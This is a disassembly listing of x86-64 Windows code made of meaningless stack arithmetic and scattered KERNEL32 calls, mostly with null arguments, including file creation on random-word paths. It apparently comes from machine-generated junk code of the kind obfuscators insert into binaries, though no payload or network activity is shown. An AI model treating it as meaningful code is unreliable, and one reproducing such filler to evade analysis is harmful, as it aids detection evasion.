lea rax, [rsp + 0xb6]
mov qword [rsp + 0xb050], rax
mov rax, qword [0x1401e7410]
movzx ecx, al
mov rax, qword [rsp + 0x8dd8]
shl rax, cl
mov qword [rsp + 0xae58], rax
mov eax, dword [rsp + 0x44c8]
mov dword [rsp + 0x488c], eax
mov eax, dword [rsp + 0x4204]
movzx ecx, al
mov eax, dword [rsp + 0x47d8]
shr eax, cl
mov rcx, qword [rsp + 0x9aa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9948]
mov rcx, qword [rsp + 0xadb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa218]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x9200]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7680]
mov byte [rcx], al
lea rax, [rsp + 0xd74]
mov qword [rsp + 0xb058], rax
movzx eax, word [rsp + 0xec8]
movzx ecx, word [0x1401e7490]
sub eax, ecx
mov word [rsp + 0xea8], ax
lea rax, [rsp + 0x105]
mov qword [rsp + 0xb060], rax
movzx eax, byte [rsp + 0x74]
movzx ecx, byte [rsp + 0x7d]
add eax, ecx
mov rcx, qword [rsp + 0xa668]
mov byte [rcx], al
mov rax, qword [rsp + 0xa5e0]
mov rcx, qword [0x1401e6008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9520], rax
mov rax, qword [rsp + 0x9ee0]
mov eax, dword [rax]
mov dword [rsp + 0x4890], eax
mov rax, qword [rsp + 0xaf48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaeb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac30]
mov qword [rcx], rax
lea rax, [rsp + 0x476c]
mov qword [rsp + 0xb068], rax
mov rax, qword [0x1401e7738]
movzx eax, byte [rax]
mov byte [0x1401e7497], al
mov rax, qword [rsp + 0x9fe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x97b0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x108], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0x9440]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xef4], ax
movzx eax, word [rsp + 0xf30]
mov word [rsp + 0xf48], ax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x10a]
sub eax, ecx
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4784]
mov dword [rsp + 0x4894], eax
mov rax, qword [rsp + 0x9730]
mov rcx, qword [rsp + 0xab98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9360]
mov rcx, qword [rsp + 0x9ec8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9520], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x4494]
mov dword [rsp + 0x4898], eax
lea rax, [0x1401e6050]
mov qword [0x1401e7788], rax
movsx eax, byte [rsp + 0x101]
mov rcx, qword [rsp + 0xaee0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7e], al
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x46a0], eax
lea rax, [rsp + 0xe3c]
mov qword [rsp + 0xb070], rax
mov rax, qword [rsp + 0x9b68]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7618]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0xa230]
movzx eax, byte [rax]
mov byte [rsp + 0x110], al
xor r9d, r9d
lea r8, [rsp + 0xa930]
mov rdx, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x44ec], eax
mov rax, qword [rsp + 0xab40]
mov ecx, dword [rsp + 0x4398]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9b00]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.C:NodularLanguorously_birdbathsFuton_freestyle
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb078], rax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0x9fb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa830]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa788], rax
mov edx, 0x6dc572
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4354], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9680]
mov qword [rsp + 0xb080], rax
mov rax, qword [rsp + 0x9438]
mov ecx, dword [rsp + 0x4710]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4450], eax
mov rax, qword [0x1401e7430]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe84]
sub eax, ecx
mov rcx, qword [0x1401e74b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa280]
movzx eax, word [rax]
mov word [rsp + 0xf4c], ax
movzx eax, word [rsp + 0xc18]
movzx ecx, word [rsp + 0xe54]
add eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
movsx eax, word [rsp + 0xe30]
mov rcx, qword [rsp + 0x9f28]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb058]
mov word [rcx], ax
mov rax, qword [rsp + 0xa188]
movzx eax, byte [rax]
mov byte [rsp + 0x111], al
mov rax, qword [rsp + 0x9fb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x456c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4394], eax
lea rax, [rsp + 0xb080]
mov qword [rsp + 0xb088], rax
mov rax, qword [rsp + 0x9d58]
mov ecx, dword [rsp + 0x4708]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46d0], eax
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0xa200]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x94f0], rax
movsx eax, word [rsp + 0xd7c]
mov rcx, qword [rsp + 0xa1e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6040], ax
mov rax, qword [rsp + 0x9f80]
movzx eax, byte [rax]
mov byte [rsp + 0x112], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xf28d
mov rcx, qword [rsp + 0x99e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4590], eax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
sar eax, cl
mov rcx, qword [rsp + 0xa328]
mov byte [rcx], al
mov rax, qword [rsp + 0xa260]
movzx eax, word [rax]
mov word [rsp + 0xf50], ax
movsx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0xaad0]
mov rcx, qword [0x1401e7410]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa3d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9710]
mov eax, dword [rax]
mov dword [rsp + 0x489c], eax
mov eax, dword [rsp + 0x4348]
mov rcx, qword [rsp + 0xa808]
mov qword [rsp + 0xb090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb090]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x46d8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rax, [rsp + 0x9a48]
mov qword [rsp + 0xb098], rax
movsx eax, word [0x1401e6060]
movsx ecx, word [rsp + 0xcb8]
sub eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9f]
and eax, ecx
mov byte [0x1401e606e], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.C:Powders_referable_snatcherscopulatingChromosomal
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb0a0], rax
lea rax, [rsp + 0xdac]
mov qword [rsp + 0xb0a8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movsx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9c]
mov rcx, qword [rsp + 0x93d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf7], al
lea rax, [rsp + 0xae58]
mov qword [rsp + 0xb0b0], rax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x479c], eax
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4834]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa758]
mov dword [rcx], eax
lea rax, [rsp + 0x4644]
mov qword [rsp + 0xb0b8], rax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0xa730]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x92b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0xcf0]
mov rcx, qword [rsp + 0xa8a0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9738]
mov word [rcx], ax
mov rax, qword [rsp + 0xaec0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
add eax, ecx
mov byte [0x1401e601d], al
movzx eax, word [rsp + 0xb64]
mov word [rsp + 0xf54], ax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0x82]
add eax, ecx
mov byte [rsp + 0xd2], al
lea rax, [rsp + 0xcac]
mov qword [rsp + 0xb0c0], rax
mov rax, qword [rsp + 0x9ba0]
mov rcx, qword [rsp + 0x9e00]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa988], rax
mov rax, qword [rsp + 0xa1a0]
mov rcx, qword [rsp + 0x9a48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa628], rax
lea rdx, [rsp + 0x433c]
mov rcx, qword [rsp + 0xa308]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45e0], eax
mov rax, qword [rsp + 0x9c50]
mov eax, dword [rax]
mov dword [rsp + 0x48a0], eax
mov rax, qword [rsp + 0x9dc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x91a8]
mov qword [rsp + 0xb0c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb0c8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9438]
mov dword [rcx], eax
lea rax, [rsp + 0x93]
mov qword [rsp + 0xb0d0], rax
lea rax, [rsp + 0xb9c]
mov qword [0x1401e7790], rax
mov rax, qword [rsp + 0x99b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd1]
or eax, ecx
mov byte [rsp + 0x68], al
movzx ecx, word [rsp + 0xd94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf58], ax
mov rax, qword [rsp + 0xa9c8]
movzx eax, byte [rax]
mov byte [rsp + 0x113], al
movsx eax, word [rsp + 0xd00]
movsx ecx, word [rsp + 0xd8c]
shl eax, cl
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
mov rax, qword [rsp + 0x9fc8]
mov rcx, qword [rsp + 0x9c50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x474c], eax
mov rax, qword [rsp + 0x9fb8]
mov eax, dword [rax]
mov dword [rsp + 0x48a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xae10]
mov rcx, qword [rsp + 0x8f68]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x97b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xac48]
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0x99a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
and eax, ecx
mov byte [rsp + 0x5a], al
mov rax, qword [rsp + 0xa508]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x99b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e603b], al
mov rax, qword [0x1401e7588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9280]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9db0]
mov word [rcx], ax
movzx eax, word [rsp + 0xc88]
mov word [rsp + 0xf5c], ax
movsx eax, word [rsp + 0xd00]
movsx ecx, word [rsp + 0xf54]
sub eax, ecx
mov rcx, qword [rsp + 0xab88]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x1aaa
mov r9d, 0x2dfa
mov r8d, 0x3e5a
mov edx, 0x28
mov rcx, qword [rsp + 0x9a00]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x47a0], eax
lea rax, [0x1401e6033]
mov qword [rsp + 0xb0e0], rax
movzx ecx, word [rsp + 0xc44]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf60], ax
mov rcx, qword [rsp + 0xa078]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x43ec], eax
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0xa6c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa1f8], rax
lea rcx, [rsp + 0x254a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x9048]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xabf0], rax
movzx ecx, word [rsp + 0xc54]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf64], ax
lea rax, [rsp + 0x47a8]
mov qword [rsp + 0xb0e8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xacb0], rax
mov eax, dword [rsp + 0x4418]
mov ecx, dword [rsp + 0x4450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4888], eax
mov rax, qword [rsp + 0xac78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa650]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e60dc], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
movzx eax, byte [0x1401e602f]
mov byte [rsp + 0x114], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9dd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8eb8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa0b8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc6c]
mov rcx, qword [0x1401e7740]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov word [rcx], ax
lea rax, [rsp + 0xf7]
mov qword [rsp + 0xb0f0], rax
mov rax, qword [rsp + 0xac08]
movzx ecx, al
mov rax, qword [rsp + 0x9858]
sar rax, cl
mov rcx, qword [rsp + 0x99c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa958]
mov rax, qword [rax]
mov qword [rsp + 0xb0f8], rax
mov eax, dword [rsp + 0x4474]
movzx ecx, al
mov eax, dword [rsp + 0x4228]
shl eax, cl
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0x9a90]
mov eax, dword [rax]
mov dword [rsp + 0x48a8], eax
movsx eax, byte [rsp + 0xd2]
movsx ecx, byte [rsp + 0xd8]
or eax, ecx
mov byte [0x1401e6037], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
and eax, ecx
mov word [rsp + 0xd00], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xb100], rax
mov rax, qword [rsp + 0x9d80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xafc8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb0f0]
mov byte [rcx], al
lea rax, [rsp + 0xba]
mov qword [rsp + 0xb108], rax
movzx eax, word [0x1401e6004]
mov rcx, qword [rsp + 0x9c90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa760]
mov word [rcx], ax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov dword [rsp + 0x48ac], eax
mov rax, qword [rsp + 0x9aa0]
mov rcx, qword [rsp + 0x94e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4214], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xa908]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb0f8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x439c], eax
mov rax, qword [rsp + 0x9e00]
mov qword [rsp + 0xb110], rax
lea rax, [rsp + 0xb94]
mov qword [0x1401e7798], rax
movsx eax, word [rsp + 0xc74]
mov rcx, qword [rsp + 0xa7e0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx eax, byte [rsp + 0x9b]
mov byte [rsp + 0x115], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:_fellatioyodellingmenders
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb118], rax
movsx eax, byte [rsp + 0xbb]
mov rcx, qword [rsp + 0xa148]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [0x1401e7578]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc0]
sub eax, ecx
mov rcx, qword [rsp + 0x9a88]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea rax, [rsp + 0x46b0]
mov qword [rsp + 0xb120], rax
mov rax, qword [rsp + 0x9cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x489c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47f4], eax
lea rax, [0x1401e6008]
mov qword [rsp + 0xb128], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
mov rax, qword [rsp + 0x9f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90d0]
mov qword [rsp + 0xb130], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb130]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa138]
mov qword [rcx], rax
lea rdx, [rsp + 0x48b0]
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4638], eax
mov rax, qword [rsp + 0x9440]
movzx eax, word [rax]
mov rcx, qword [0x1401e7558]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401e6080], ax
mov rax, qword [rsp + 0x9c40]
movzx eax, byte [rax]
mov byte [rsp + 0x116], al
movzx eax, byte [rsp + 0x110]
mov rcx, qword [rsp + 0x91f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xaf38]
mov byte [rcx], al
mov r9d, 1
lea r8, [rsp + 0x94b8]
mov rdx, qword [rsp + 0xabd0]
mov rcx, qword [rsp + 0x9dd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46c0], eax
movsx eax, word [rsp + 0xb64]
movsx ecx, word [0x1401e76f0]
sar eax, cl
mov rcx, qword [rsp + 0x93a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8f0]
movzx eax, byte [rax]
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0x9638]
mov rcx, qword [rsp + 0x9530]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9798]
mov qword [rcx], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.C:coolingProjection
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xb138], rax
lea rax, [rsp + 0x4808]
mov qword [rsp + 0xb140], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4558], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x9a30]
mov ecx, dword [rsp + 0x4704]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9130]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f88], rax
lea rax, [rsp + 0xf14]
mov qword [0x1401e77a0], rax
lea rax, [0x1401e6034]
mov qword [rsp + 0xb148], rax
movsx eax, byte [rsp + 0xb5]
movsx ecx, byte [rsp + 0xc5]
add eax, ecx
mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4590], eax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0xb150], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x48b4], eax
movsx eax, word [rsp + 0xd54]
movsx ecx, word [rsp + 0xd00]
add eax, ecx
mov word [rsp + 0xe24], ax
mov ecx, MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4414], eax
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0x9268]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9a18]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x8c08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9b88], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb008]
mov eax, dword [rax]
mov dword [rsp + 0x48b8], eax
mov rax, qword [rsp + 0x9068]
mov ecx, dword [rsp + 0x43e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x46b4], eax
mov r9d, 2
lea r8, [rsp + 0x8e48]
mov rdx, qword [rsp + 0xab68]
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0xa3f0]
mov qword [rsp + 0xb158], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xb160], rax
movzx eax, byte [rsp + 0xdc]
mov byte [0x1401e74b2], al
mov r9d, 0x161f
xor r8d, r8d
lea rdx, [rsp + 0x9be8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x43d8], eax
mov rax, qword [rsp + 0xa698]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e743a]
sub eax, ecx
mov rcx, qword [rsp + 0xa910]
mov byte [rcx], al
mov rax, qword [rsp + 0xa9c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa230]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x97f8]
mov byte [rcx], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xa6f0]
movzx eax, word [rax]
mov word [rsp + 0xf68], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
movzx eax, byte [rsp + 0x7b]
movzx ecx, byte [0x1401e601c]
sub eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov byte [rcx], al
mov eax, dword [rsp + 0x45b8]
mov dword [rsp + 0x48bc], eax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0xa8d8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9fb0]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x9c28]
mov qword [rsp + 0xb168], rax
mov rax, qword [rsp + 0xa7f0]
mov rcx, qword [rsp + 0x9fa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4378], eax
mov rax, qword [rsp + 0xaa20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9310]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401e7710]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [0x1401e7500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
shl eax, cl
mov byte [rsp + 0x73], al
movzx eax, word [rsp + 0xdf8]
mov word [rsp + 0xf6c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9c18], rax
lea rcx, [rsp + 0x2a3a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4460], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa188]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa008]
mov byte [rcx], al
lea rax, str.__f_n_
mov qword [rsp + 0xb170], rax
lea rcx, str.Tonsillitis_chords_overseer
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x96f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb080]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa858]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x43f9
mov rcx, qword [rsp + 0xa638]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0xa788]
mov rcx, qword [rsp + 0xaee8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x98a8], rax
mov eax, dword [rsp + 0x462c]
mov dword [rsp + 0x48c0], eax
lea rcx, [rsp + 0x26a88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x97a8]
mov ecx, dword [rsp + 0x44a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43f8], eax
mov ecx, reloc.COMCTL32.dll_MakeDragList
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x438c], eax
lea rax, [rsp + 0xda8]
mov qword [rsp + 0xb178], rax
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [0x1401e7700]
movzx ecx, byte [rcx]
sub eax, ecx
